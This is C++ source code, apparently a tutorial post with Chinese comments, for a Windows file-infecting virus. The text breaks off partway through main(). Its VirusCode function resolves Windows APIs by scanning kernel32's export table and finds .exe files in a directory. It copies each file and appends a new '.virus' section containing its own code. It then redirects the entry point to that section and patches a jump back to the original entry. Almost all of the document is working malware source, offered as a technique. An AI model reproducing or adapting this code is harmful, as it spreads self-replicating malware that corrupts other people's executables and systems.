实现程序自我复制

#include <iostream.h>
#include <windows.h>
#include <stdio.h>
//////////////////////////////////////////////////////////////////////////
//*******************************************************************
//*******以下为程序代码*******
//*******此段代码首先动态获取API入口地址
//*******然后实现代码的自我复制
//*******************************************************************
//////////////////////////////////////////////////////////////////////////
void VirusCode()
{
    //////////////////////////////////////////////////////////////////////////
    //  *******以下代码用于获取本函数在内存中的起始地址*******
    //  *******本函数功能相对独立*******
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //  *******变量说明*******
    //  **dwCodeBegin   :本函数的开始地址
    //  **dwCodeEnd     :本函数的结束地址
    //  **dwMyCodeAddr  :自己写的代码的开始地址
    //////////////////////////////////////////////////////////////////////////
    DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr;
    
    //  *******指针变量*******
    PBYTE pMove = NULL;
    
    //  *******动态获取自己写的代码的开始地址*******
    _asm
    {
        call    A
A:
        pop     eax
            
        mov     dwMyCodeAddr , eax
    }
    
    //  *******把地址赋给变量*******
    pMove = (PBYTE)dwMyCodeAddr;
    
    //  *******向前搜索得到函数的真正入口地址*******
    while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B)))
    {
        pMove --;
    }
    
    //  *******此时pMove指向函数的入口push ebp处*******
    dwCodeBegin = (DWORD)pMove;
    
    //cout << "开始地址为:" << hex << dwCodeBegin << endl;
    
    //  *******从自己写的代码处向后搜索*******
    pMove = (PBYTE)dwMyCodeAddr;
    
    while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F) 
            && (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5)))
    {
        pMove ++;
    }
    
    pMove += 9;
    //  *******此时pMove指向ret的前一条指令pop ebp处*******
    dwCodeEnd = (DWORD)pMove;
    DWORD dwFunCodeLen;
    dwFunCodeLen = dwCodeEnd - dwCodeBegin;
    //////////////////////////////////////////////////////////////////////////
    //  *******上面为获取本函数的起始与结束地址*******
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //  *******下面动态获取API入口地址
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //  *******定义用到的字符串*******
    char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};
    char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'};
    
    DWORD KernelBase;
    //  *******获取本程序结束后的返回地址,此地址必须在开始处获得*******
    _asm
    {
        mov eax , [ebp+4]
            mov KernelBase,eax
    }
    //////////////////////////////////////////////////////////////////////////
    //  *******以下通过变换得到Kernel32.dll的基址*******
    //////////////////////////////////////////////////////////////////////////
    KernelBase = KernelBase & 0Xffff0000;
    
    //  *******检查是否到了kernel32.dll的装载基址*******
    IMAGE_DOS_HEADER *doshead;
    
    while(KernelBase >= 0X70000000)
    {
        //  *******首先检查dos文件头*******
        doshead = (IMAGE_DOS_HEADER*)KernelBase;
        if(doshead->e_magic == IMAGE_DOS_SIGNATURE)
        {
            //  *******再检查NT文件头*******
            IMAGE_NT_HEADERS* nthead;
            nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);
            if(nthead->Signature == IMAGE_NT_SIGNATURE)
            {
                break;
            }
        }
        KernelBase-=0x10000;
    }
    //////////////////////////////////////////////////////////////////////////
    //  *******以下通过搜索kernel32.dll得到GetProcAddress的地址*******
    //////////////////////////////////////////////////////////////////////////
    DWORD AddrOfGetProcAddr , AddrOfLoadLib;
    IMAGE_DOS_HEADER* pFile1;   //指向dos文件头
    IMAGE_NT_HEADERS* pFile2;   //指向nt文件头
    
    //  *******检查文件的合法性*******
    pFile1 = (IMAGE_DOS_HEADER* )KernelBase;
    if(pFile1->e_magic != IMAGE_DOS_SIGNATURE)
    {
        return;
    }
    pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew);
    if(pFile2->Signature != IMAGE_NT_SIGNATURE)
    {
        return;
    }
    
    IMAGE_EXPORT_DIRECTORY *pExport;
    pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress);
    
    //  *******以下在导出表中搜索名字为"GetProcAddress"的函数地址*******
    char *FunName;
    DWORD *AddrOfNameRVA;
    WORD *AddrOfNameOrRVA;
    
    AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames);
    for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++)
    {
        FunName = (char*)(KernelBase + AddrOfNameRVA[i]);
        //  *******函数名与字符串"GetProcAddress"进行比较*******
        BOOL eql = 1;
        for (int j = 0 ; j < 15 ; j ++)
        {
            if (GetProcAddrName[j] != FunName[j])
            {
                eql = 0;
                break;
            }
        }
        //  *******如果字符串相等了,说明找到了*******
        if (eql)
        {
            AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals);
            
            int num = 0;
            
            num = pExport->Base + AddrOfNameOrRVA[i];
            
            DWORD *AddrOfFun;
            
            AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions);
            AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1];
            
            break;
        }
    }
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //  *******以下集中获取要用到的API入口地址*******
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //  *******定义GetProcAddress函数类型*******
    typedef DWORD (WINAPI *stGetProcAddress)(HMODULE , LPCSTR);
    
    //  *******定义LoadLibraryA函数地址*******
    typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR);
    //  *******调用GetProcAddress获取LoadLibrary地址*******
    //  *******定义GetProcAddress函数变量*******
    stGetProcAddress myGetProcAddress;
    
    //  *******给函数赋地址*******
    myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr;
    
    //  *******调用GetProcAddress*******
    AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName);
    
    //  *******定义LoadLibrary函数变量*******
    stLoadLibrary myLoadLibrary;
    
    //  *******给函数赋地址*******
    myLoadLibrary = (stLoadLibrary)AddrOfLoadLib;
    
    char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'};
    DWORD User32Base;   //存放user32.dll的基址
    
    //  *******得到user32.dll的基址*******
    User32Base = myLoadLibrary(User32Name);
    
    //////////////////////////////////////////////////////////////////////////
    //  *****获取CreateFile函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES , 
                            DWORD , DWORD , HANDLE);
    //  *****定义函数变量*****
    stCreateFile myCreateFile;
    //  *****定义函数名称字符串*****
    char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'};
    //  *****获得函数地址*****
    myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取CreateFileMapping函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES , 
        DWORD , DWORD , DWORD , LPCTSTR );
    //  *****定义函数变量*****
    stCreateFileMapping myCreateFileMapping;
    //  *****定义函数名称字符串*****
    char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e',
                                    'M','a','p','p','i','n','g','A','\0'};
    //  *****获得函数地址*****
    myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase , 
                            CreateFileMappingName);
    
    //////////////////////////////////////////////////////////////////////////
    //  *****获取MapViewOfFile函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE , DWORD , DWORD , DWORD , DWORD);
    //  *****定义函数变量*****
    stMapViewOfFile myMapViewOfFile;
    
    //  *****定义函数名称字符串*****
    char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
    
    //  *****获得函数地址*****
    myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase , 
                                                        MapViewOfFileName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取GlobalAlloc函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT , SIZE_T);
    //  *****定义函数变量*****
    stGlobalAlloc myGlobalAlloc;
    
    //  *****定义函数名称字符串*****
    char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'};
    
    //  *****获得函数地址*****
    myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase , 
                                                        GlobalAllocName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取RtlMoveMemory函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef void (WINAPI *stRtlMoveMemory)(PVOID , const VOID* , SIZE_T );
    
    //  *****定义函数变量*****
    stRtlMoveMemory myRtlMoveMemory;
    
    //  *****定义函数名称字符串*****
    char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'};
    
    //  *****获得函数地址*****
    myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase , 
                                                        RtlMoveMemoryName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取SetFilePointer函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef DWORD (WINAPI *stSetFilePointer)(HANDLE , LONG , PLONG , DWORD);
    
    //  *****定义函数变量*****
    stSetFilePointer mySetFilePointer;
    
    //  *****定义函数名称字符串*****
    char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'};
    
    //  *****获得函数地址*****
    mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase , 
                                                        SetFilePointerName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取WriteFile函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef BOOL (WINAPI *stWriteFile)(HANDLE , LPCVOID , DWORD , LPDWORD , LPOVERLAPPED);
    
    //  *****定义函数变量*****
    stWriteFile myWriteFile;
    
    //  *****定义函数名称字符串*****
    char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'};
    
    //  *****获得函数地址*****
    myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase , 
                                                        WriteFileName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取SetEndOfFile函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE);
    //  *****定义函数变量*****
    stSetEndOfFile mySetEndOfFile;
    
    //  *****定义函数名称字符串*****
    char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'};
    
    //  *****获得函数地址*****
    mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase , 
                                                        SetEndOfFileName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取CloseHandle函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef BOOL (WINAPI *stCloseHandle)(HANDLE);
    //  *****定义函数变量*****
    stCloseHandle myCloseHandle;
    
    //  *****定义函数名称字符串*****
    char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
    
    //  *****获得函数地址*****
    myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase , 
                                                        CloseHandleName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取UnmapViewOfFile函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID);
    //  *****定义函数变量*****
    stUnmapViewOfFile myUnmapViewOfFile;
    
    //  *****定义函数名称字符串*****
    char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
    
    //  *****获得函数地址*****
    myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase , 
                                                        UnmapViewOfFileName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取FindFirstFile函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA);
    //  *****定义函数变量*****
    stFindFirstFile myFindFirstFile;
    
    //  *****定义函数名称字符串*****
    char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'};
    
    //  *****获得函数地址*****
    myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase , 
                                                        FindFirstFileName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取CopyFile函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef BOOL (WINAPI *stCopyFile)(LPCTSTR , LPCTSTR , BOOL);
    //  *****定义函数变量*****
    stCopyFile myCopyFile;
    
    //  *****定义函数名称字符串*****
    char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'};
    
    //  *****获得函数地址*****
    myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase , 
                                                        CopyFileName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取FindNextFile函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA);
    //  *****定义函数变量*****
    stFindNextFile myFindNextFile;
    
    //  *****定义函数名称字符串*****
    char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'};
    
    //  *****获得函数地址*****
    myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase , 
                                                        FindNextFileName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取FindClose函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef BOOL (WINAPI *stFindClose)(HANDLE); 
    //  *****定义函数变量*****
    stFindClose myFindClose;
    
    //  *****定义函数名称字符串*****
    char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'};
    
    //  *****获得函数地址*****
    myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase , 
                                                        FindCloseName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取lstrcat函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR , LPTSTR);
    //  *****定义函数变量*****
    stlstrcat mylstrcat;
    
    //  *****定义函数名称字符串*****
    char lstrcatName[] = {'l','s','t','r','c','a','t','\0'};
    
    //  *****获得函数地址*****
    mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase , 
                                                        lstrcatName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取lstrcpy函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR , LPTSTR);
    //  *****定义函数变量*****
    stlstrcpy mylstrcpy;
    
    //  *****定义函数名称字符串*****
    char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'};
    
    //  *****获得函数地址*****
    mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase , 
                                                        lstrcpyName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取lstrlen函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef int (WINAPI *stlstrlen)(LPCTSTR);
    //  *****定义函数变量*****
    stlstrlen mylstrlen;
    
    //  *****定义函数名称字符串*****
    char lstrlenName[] = {'l','s','t','r','l','e','n','\0'};
 //  *****获得函数地址*****
    mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase , 
                                                        lstrlenName);
    //////////////////////////////////////////////////////////////////////////
    //  *****获取RtlZeroMemory函数地址*****
    //////////////////////////////////////////////////////////////////////////
    //  *****首先定义函数类型*****
    typedef void (WINAPI *stRtlZeroMemory)(PVOID , SIZE_T);
    
    //  *****定义函数变量*****
    stRtlZeroMemory myRtlZeroMemory;
    
    //  *****定义函数名称字符串*****
    char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o','M','e','m','o','r','y','\0'};
    
    //  *****获得函数地址*****
    myRtlZeroMemory = (stRtlZeroMemory)myGetProcAddress((HMODULE)KernelBase , 
                                                        RtlZeroMemoryName);
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //  *******以上集中获取用到的API*******
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    //  *******下面为搜索并自我复制的代码*******
    //////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////
    
    //  *******搜索的带过滤条件的源目录*******
    char SourceDirFilter[] = {'D',':','\\','s','o','u','r','c','e','\\','*','.','e','x','e','\0'};
    //  *******不带条件的源目录*******
    char SourceDir[] = {'D',':','\\','s','o','u','r','c','e','\\','\0'};
    //  *******要复制的目录*******
    char DestDir[] = {'D',':','\\','d','e','s','t','i','n','a','\\','\0'};
    WIN32_FIND_DATA findBuf;
    //  *******进行第一次搜索*******
    HANDLE hFileFind = myFindFirstFile(SourceDirFilter , &findBuf);
    
    //  *******申请缓冲区,用于存放源文件的完整目录+文件名*******
    char *SourDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);
    //  *******申请缓冲区,用于存放目的文件的完整目录+文件名*******
    char *DestDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);
    //  *******对每一个文件进行复制感染操作*******
    do 
    {
        //  *******缓冲区清空*******
        myRtlZeroMemory(SourDirNameBuf , MAX_PATH);
        myRtlZeroMemory(DestDirNameBuf , MAX_PATH);
        //  *******把源目录放在缓冲区中*******
        mylstrcpy(SourDirNameBuf , SourceDir);
        //  *******把搜索到的文件名添加在源目录后面*******
        mylstrcat(SourDirNameBuf , findBuf.cFileName);
        //  *******把目的目录放在缓冲区中*******
        mylstrcpy(DestDirNameBuf , DestDir);
        //  *******把搜索到的文件名添加在源目录后面*******
        mylstrcat(DestDirNameBuf , findBuf.cFileName);
        //////////////////////////////////////////////////////////////////////////
        //  *******以下对每一个文件感染*******
        //////////////////////////////////////////////////////////////////////////
        HANDLE hFile , hMapFile;
        LPVOID pMapOfFile = NULL;
        
        char SecName[] = {'.','v','i','r','u','s','\0'};    //新添加的节名
        //////////////////////////////////////////////////////////////////////////
        //*******检测文件合法性*******
        //////////////////////////////////////////////////////////////////////////
        //  *******打开文件*******
        hFile = myCreateFile(SourDirNameBuf , GENERIC_READ , FILE_SHARE_READ | 
            FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
        
        if (INVALID_HANDLE_VALUE == hFile)
        {
            goto TheNextFile;
        }
        
        //  *******创建文件映射*******
        hMapFile = myCreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
        
        if (!hMapFile)
        {
            goto CLOSEFILEHANDLE;
        }
        
        //  *******把文件映射到内存中*******
        pMapOfFile = myMapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
        
        if (!pMapOfFile)
        {
            goto CLOSEMAPHANDLE;
        }
        
        IMAGE_DOS_HEADER *pDosHeader;
        
        //  ********检测DOS文件头*******
        pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
        
        if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        {
            goto FreeViewOfMap;
        }
        
        IMAGE_NT_HEADERS *pNtHeader;
        
        //  *******检测NT文件头*******
        pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
        
        if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
        {
            goto FreeViewOfMap;
        }
        //////////////////////////////////////////////////////////////////////////
        //  *******检测感染标记*******
        //////////////////////////////////////////////////////////////////////////
        //  *******得到该文件的节表数*******
        int SecNum;
        SecNum = pNtHeader->FileHeader.NumberOfSections;
        //  *******定位到节表开始处*******
        IMAGE_SECTION_HEADER *pSecHeader;
        pSecHeader = (IMAGE_SECTION_HEADER*)((PBYTE)pNtHeader + 248);
        int i ;
        //  *******循环扫描各个节表,如果有节的名字为virus则说明已经被感染过*******
        for (i = 0 ; i < SecNum ; i ++)
        {
            char *SecNameAddr = (char*)pSecHeader->Name;
            
            if ((SecNameAddr[0] == '.') && (SecNameAddr[1] == 'v') && 
                (SecNameAddr[2] == 'i') && (SecNameAddr[3] == 'r') &&
                (SecNameAddr[4] == 'u') && (SecNameAddr[5] == 's'))
            {
                //  *******直接退出*******
                goto FreeViewOfMap;
            }
            //  *******查看下一个节表*******
            pSecHeader ++;
        }
        //////////////////////////////////////////////////////////////////////////
        //*******准备工作*******
        //////////////////////////////////////////////////////////////////////////
        BOOL bCopy;
        
        //  *******首先把要添加程序代码的文件复制一份*******
        bCopy = myCopyFile(SourDirNameBuf , DestDirNameBuf , FALSE);
        if (!bCopy)
        {
            goto FreeViewOfMap;
        }
        
        HANDLE hNewFile;
        //  *******打开刚刚复制的文件*******
        hNewFile = myCreateFile(DestDirNameBuf , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ 
            | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
        
        if (!hNewFile)
        {
            goto FreeViewOfMap;
        }
        
        HGLOBAL pNewFileHeader;
        
        //  *******为新文件的文件头申请一块内存,用于修改文件头信息*******
        pNewFileHeader = myGlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
        
        if (!pNewFileHeader)
        {
            goto CloseNewFileHandle;
        }
        
        //  *******用原文件头填充这块内存*******
        myRtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
        
        //  *******定义一个变量指向新内存的NT文件头处*******
        IMAGE_NT_HEADERS *pNewFileNtHeader;
        
        pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
        
        //////////////////////////////////////////////////////////////////////////
        //*******此时的指针信息*******
        //*******pMapOfFile         :   原映射文件的开始
        //*******pDosHeader         :   原映射文件的DOS头,也就是文件开始,只不过类型不一样
        //*******pNTHeader          :   原映射文件的NT头
        //*******pNewFileHeader     :   新文件的开始
        //*******pNewFileNtHeader   :   新文件的NT头
        //////////////////////////////////////////////////////////////////////////
        //****************************************************************
        //*******修改新文件的节表信息*******
        //****************************************************************
        int nSecNum;
        nSecNum = pNtHeader->FileHeader.NumberOfSections;
        IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
        
        //  *******定位到原文件中的最后一个节表*******
        pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
            + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
        
        //  *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******
        pNewSec = pLastSec + 1;
        
        //*******修改新增节表的相关信息*******
        //*****节表总数加1*****
        pNewFileNtHeader->FileHeader.NumberOfSections ++;
        
        //*****修改新节的文件偏移*****
        pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
        
        //*****修改新节的文件尺寸*****
        int nAlignNum;
        
        nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
        if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
        {
            nAlignNum++;
        }
        pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
        
        //*****修改所有代码长度按内存页对齐后的大小*****
        nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
        if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
        {
            nAlignNum ++;
        }
        pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * 
            pNewFileNtHeader->OptionalHeader.SectionAlignment;
        
        //*****修改文件内存映像尺寸*****
        pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * 
            pNewFileNtHeader->OptionalHeader.SectionAlignment;
        
        //*****修改新节的内存偏移量*****
        //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****
        nAlignNum = pLastSec->Misc.VirtualSize / 
            pNewFileNtHeader->OptionalHeader.SectionAlignment;
        if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
        {
            nAlignNum ++;
        }
        pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment 
            + pLastSec->VirtualAddress;
        
        //*****修改新节的内存尺寸*****
        pNewSec->Misc.VirtualSize = dwFunCodeLen;
        
        //*****更新新节属性*****
        pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | 
            IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
        
        //*****更新节名*****
        mylstrcpy((char*)pNewSec->Name , SecName);
        
        //*****更新入口地址*****
        pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
        
        BOOL bWrite;
        DWORD dwHeaderSize , dwWriten;
        dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
        bWrite = myWriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , 
                                &dwWriten , NULL);
        
        //////////////////////////////////////////////////////////////////////////
        //*****向文件中添加程序代码*****
        //////////////////////////////////////////////////////////////////////////
        DWORD dwSetFileP;
        
        //*****定位到新文件中新节开始处*****
        dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
        if (!dwSetFileP)
        {
            goto CloseNewFileHandle;
        }
        
        //*****写入程序代码*****
        bWrite = myWriteFile(hNewFile , (LPVOID)dwCodeBegin , dwFunCodeLen , &dwWriten , NULL);
        if (!bWrite)
        {
            goto CloseNewFileHandle;
        }
        
        //*****定位到文件尾部*****
        dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData + 
            pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
        if (!dwSetFileP)
        {
            goto CloseNewFileHandle;
        }
        
        //*****设定文件结束*****
        if (!mySetEndOfFile(hNewFile))
        {
            goto CloseNewFileHandle;
        }
        //////////////////////////////////////////////////////////////////////////
        //*******修正原入口地址*******
        //////////////////////////////////////////////////////////////////////////
        PBYTE pModifyAddr;
        pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
        
        pModifyAddr += dwFunCodeLen;
        
        int nSub;    //跳转的距离
        nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
        
        DWORD dwModifyLoca;
        dwModifyLoca = pNewSec->PointerToRawData;
        dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
                
        //  *****定位到程序代码最后的五个字节处*****
        dwSetFileP = mySetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
        if (!dwSetFileP)
        {
            goto CloseNewFileHandle;
        }
        //*****修正jmp指令*****
        BYTE bJmp;
        bJmp = 0XE9;
        bWrite = myWriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
        if (!bWrite)
        {
            goto CloseNewFileHandle;
        }
        //*****修正跳转地址*****
        bWrite = myWriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
        if (!bWrite)
        {
            goto CloseNewFileHandle;
        }
    //////////////////////////////////////////////////////////////////////////
    //*******扫尾工作*******
    //////////////////////////////////////////////////////////////////////////
CloseNewFileHandle:
    myCloseHandle(hNewFile);
FreeViewOfMap:
    myUnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
    myCloseHandle(hMapFile);
CLOSEFILEHANDLE:
    myCloseHandle(hFile);
TheNextFile:
    ;
    } while (myFindNextFile(hFileFind , &findBuf));
    myFindClose(hFileFind);
    return;
}
//////////////////////////////////////////////////////////////////////////
//*******************************************************************
//*******主函数*******
//*******************************************************************
//////////////////////////////////////////////////////////////////////////
void main()
{
//*******************************************************************
//*******首先得到程序代码起始地址,结束地址,代码长度*******
//*******************************************************************
    /////////////////////////////////////////////////////////////////
    //  *******变量说明*******
    //  **dwFunBegAddr  :程序函数的开始地址
    //  **dwFunEndAddr  :程序函数的结束地址
    //  **dwFunCodeLen  :程序代码长度
    //  **dwJmpOff      :程序函数jmp区到真正入口的偏移
    //  **pMove         :临时的指针变量
    /////////////////////////////////////////////////////////////////
    DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;
    PBYTE pMove = NULL;
    
    //  *******首先指向程序函数的jmp指令*******
    pMove = (PBYTE)VirusCode;
    
    cout << "函数的jmp地址为:" << (PVOID)pMove << endl;
    //  *******定位到jmp后面的偏移处*******
    pMove ++;
    //  *******把偏移赋值给变量*******
    dwJmpOff = *((PDWORD)pMove);
    //  *******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址*******
    dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;
